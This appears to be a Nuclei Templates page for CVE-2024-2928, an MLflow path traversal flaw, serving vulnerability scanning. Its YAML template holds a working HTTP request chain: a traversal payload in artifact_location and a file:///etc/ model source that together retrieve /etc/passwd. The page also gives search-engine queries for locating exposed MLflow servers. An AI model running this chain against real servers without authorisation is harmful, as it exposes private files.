Skip to content
Nuclei Templates

MLflow < 2.11.3 - Path Traversal

ID: CVE-2024-2928

Severity: high

Author: jyjyjy25,gy741,oriing,ANseunghyeon,woo4826

Tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects

Description

Section titled “Description”

MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.

YAML Source

Section titled “YAML Source”
id: CVE-2024-2928


info:
  name: MLflow < 2.11.3 - Path Traversal
  author: jyjyjy25,gy741,oriing,ANseunghyeon,woo4826
  severity: high
  description: |
    MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.
  impact: |
    Successful exploitation could allow an attacker to read arbitrary files such as /etc/passwd in the local file system.
  remediation: |
    Upgrade MLflow to version 2.11.3 or later to mitigate this issue.
  reference:
    - https://huntr.com/bounties/19bf02d7-6393-4a95-b9d0-d6d4d2d8c298
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-2928
    cwe-id: CWE-29
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects


http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"name": "{{randstr}}", "artifact_location": "http:\/\/\/#\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/"}


      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"experiment_id": "{{EXPERIMENT_ID}}"}


      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"name": "{{randstr}}"}


      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}


      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        part: body_5
        regex:
          - "root:.*:0:0:"


      - type: word
        part: header_5
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true


      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
# digest: 4a0a00473045022030cc5e903473f6f291d907fe5dfa237be3ceda9ee1cf8a1ae63407ca620ab9d9022100e49419679aebf59c90a49b753a8308095675e5d22b5b9b839307b5649dbddd92:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-2928.yaml"

View on Github